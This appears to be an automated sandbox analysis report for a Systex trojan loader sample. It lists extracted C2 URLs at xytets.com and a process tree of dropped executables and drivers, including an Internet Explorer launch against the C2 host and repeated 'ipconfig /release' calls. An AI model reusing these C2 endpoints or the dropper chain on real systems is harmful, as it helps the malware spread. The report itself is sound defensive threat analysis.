Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
02/07/2026, 10:51
General
- Target 2026-07-02_dfed9b729fc98cc6d628b5fa09d3d85a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 361KB
- Sample260702-mxsrcsgt5z
- SHA256 98b31bf3a472a2dd45698af4b23bafff42f8ad321dbba4879ead9f0ca079a585
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 29 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-02_dfed9b729fc98cc6d628b5fa09d3d85a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-02_dfed9b729fc98cc6d628b5fa09d3d85a_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\ywqojgbytrljdbvt.exeC:\Temp\ywqojgbytrljdbvt.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idbvtolgdy.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\idbvtolgdy.exeC:\Temp\idbvtolgdy.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idbvtolgdy.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_idbvtolgdy.exeC:\Temp\i_idbvtolgdy.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\oigaytqljd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\oigaytqljd.exeC:\Temp\oigaytqljd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_oigaytqljd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_oigaytqljd.exeC:\Temp\i_oigaytqljd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\idavlfdxvn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\idavlfdxvn.exeC:\Temp\idavlfdxvn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_idavlfdxvn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_idavlfdxvn.exeC:\Temp\i_idavlfdxvn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\yskicavsnl.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\yskicavsnl.exeC:\Temp\yskicavsnl.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_yskicavsnl.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_yskicavsnl.exeC:\Temp\i_yskicavsnl.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fzxspkhcau.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fzxspkhcau.exeC:\Temp\fzxspkhcau.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fzxspkhcau.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fzxspkhcau.exeC:\Temp\i_fzxspkhcau.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mhczusmkec.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mhczusmkec.exeC:\Temp\mhczusmkec.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mhczusmkec.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mhczusmkec.exeC:\Temp\i_mhczusmkec.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rpjhbzurjh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rpjhbzurjh.exeC:\Temp\rpjhbzurjh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rpjhbzurjh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rpjhbzurjh.exeC:\Temp\i_rpjhbzurjh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\omgezwrpjh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\omgezwrpjh.exeC:\Temp\omgezwrpjh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_omgezwrpjh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_omgezwrpjh.exeC:\Temp\i_omgezwrpjh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwtolgeywq.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bwtolgeywq.exeC:\Temp\bwtolgeywq.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwtolgeywq.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bwtolgeywq.exeC:\Temp\i_bwtolgeywq.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigaysqli.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qoigaysqli.exeC:\Temp\qoigaysqli.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigaysqli.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qoigaysqli.exeC:\Temp\i_qoigaysqli.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kidavtnlfd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kidavtnlfd.exeC:\Temp\kidavtnlfd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kidavtnlfd.exe ups_ins3⤵
-
C:\Temp\i_kidavtnlfd.exeC:\Temp\i_kidavtnlfd.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kidavsnifa.exe ups_run3⤵
-
C:\Temp\kidavsnifa.exeC:\Temp\kidavsnifa.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kidavsnifa.exe ups_ins3⤵
-
C:\Temp\i_kidavsnifa.exeC:\Temp\i_kidavsnifa.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fcxvpnhfzx.exe ups_run3⤵
-
C:\Temp\fcxvpnhfzx.exeC:\Temp\fcxvpnhfzx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fcxvpnhfzx.exe ups_ins3⤵
-
C:\Temp\i_fcxvpnhfzx.exeC:\Temp\i_fcxvpnhfzx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxspkhcaus.exe ups_run3⤵
-
C:\Temp\zxspkhcaus.exeC:\Temp\zxspkhcaus.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxspkhcaus.exe ups_ins3⤵
-
C:\Temp\i_zxspkhcaus.exeC:\Temp\i_zxspkhcaus.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmkecwuomh.exe ups_run3⤵
-
C:\Temp\rmkecwuomh.exeC:\Temp\rmkecwuomh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmkecwuomh.exe ups_ins3⤵
-
C:\Temp\i_rmkecwuomh.exeC:\Temp\i_rmkecwuomh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rojhbztrmj.exe ups_run3⤵
-
C:\Temp\rojhbztrmj.exeC:\Temp\rojhbztrmj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rojhbztrmj.exe ups_ins3⤵
-
C:\Temp\i_rojhbztrmj.exeC:\Temp\i_rojhbztrmj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jgbztrljdb.exe ups_run3⤵
-
C:\Temp\jgbztrljdb.exeC:\Temp\jgbztrljdb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jgbztrljdb.exe ups_ins3⤵
-
C:\Temp\i_jgbztrljdb.exeC:\Temp\i_jgbztrljdb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbvtolgeyw.exe ups_run3⤵
-
C:\Temp\dbvtolgeyw.exeC:\Temp\dbvtolgeyw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbvtolgeyw.exe ups_ins3⤵
-
C:\Temp\i_dbvtolgeyw.exeC:\Temp\i_dbvtolgeyw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\gaykidavtn.exe ups_run3⤵
-
C:\Temp\gaykidavtn.exeC:\Temp\gaykidavtn.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_gaykidavtn.exe ups_ins3⤵
-
C:\Temp\i_gaykidavtn.exeC:\Temp\i_gaykidavtn.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvqnigaysq.exe ups_run3⤵
-
C:\Temp\xvqnigaysq.exeC:\Temp\xvqnigaysq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3972 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\ywqojgbytrljdbvt.sysC:\Temp\ywqojgbytrljdbvt.sys1⤵
- Executes dropped EXE
-
C:\Temp\idbvtnlgdq.sysC:\Temp\idbvtnlgdq.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigaysqli.sysC:\Temp\qoigaysqli.sys1⤵
- Executes dropped EXE
-
C:\Temp\faxsqkicau.sysC:\Temp\faxsqkicau.sys1⤵
- Executes dropped EXE
-
C:\Temp\qkicausnkf.sysC:\Temp\qkicausnkf.sys1⤵
- Executes dropped EXE
-
C:\Temp\camkecxupn.sysC:\Temp\camkecxupn.sys1⤵
- Executes dropped EXE
-
C:\Temp\kecwuomhez.sysC:\Temp\kecwuomhez.sys1⤵
- Executes dropped EXE
-
C:\Temp\wuomgeywro.sysC:\Temp\wuomgeywro.sys1⤵
- Executes dropped EXE
-
C:\Temp\mgbztrljdb.sysC:\Temp\mgbztrljdb.sys1⤵
- Executes dropped EXE
-
C:\Temp\bvtnlgdywq.sysC:\Temp\bvtnlgdywq.sys1⤵
- Executes dropped EXE
-
C:\Temp\dywqoigayt.sysC:\Temp\dywqoigayt.sys1⤵
- Executes dropped EXE
-
C:\Temp\vqnigaysqk.sysC:\Temp\vqnigaysqk.sys1⤵
-
C:\Temp\sfzxrpkhcz.sysC:\Temp\sfzxrpkhcz.sys1⤵
-
C:\Temp\hfzxrpkhca.sysC:\Temp\hfzxrpkhca.sys1⤵
-
C:\Temp\bwuomgezwr.sysC:\Temp\bwuomgezwr.sys1⤵
-
C:\Temp\tomgeywroj.sysC:\Temp\tomgeywroj.sys1⤵
-
C:\Temp\wrojytrljd.sysC:\Temp\wrojytrljd.sys1⤵
-
C:\Temp\qlgdywqoig.sysC:\Temp\qlgdywqoig.sys1⤵
-
C:\Temp\idavtnlfdy.sysC:\Temp\idavtnlfdy.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
camkecxupn.sys
faxsqkicau.sys
fzxspkhcau.exe
i_fzxspkhcau.exe
i_idavlfdxvn.exe
i_idbvtolgdy.exe
i_mhczusmkec.exe
i_oigaytqljd.exe
i_rpjhbzurjh.exe
i_yskicavsnl.exe
idavlfdxvn.exe
idbvtnlgdq.sys
idbvtolgdy.exe
kecwuomhez.sys
mhczusmkec.exe
oigaytqljd.exe
omgezwrpjh.exe
qkicausnkf.sys
qoigaysqli.sys
rpjhbzurjh.exe
wuomgeywro.sys
yskicavsnl.exe
ywqojgbytrljdbvt.exe
ywqojgbytrljdbvt.sys
suggestions[1].en-US
memory/228-136-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/744-57-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1152-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1172-140-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1948-132-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2348-95-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2820-117-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2844-83-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3612-148-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3952-125-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3980-144-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3980-149-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4164-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4212-103-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4228-153-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4228-158-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4268-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4292-157-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4452-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4488-71-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4872-121-0x0000000000010000-0x00000000000AB000-memory.dmp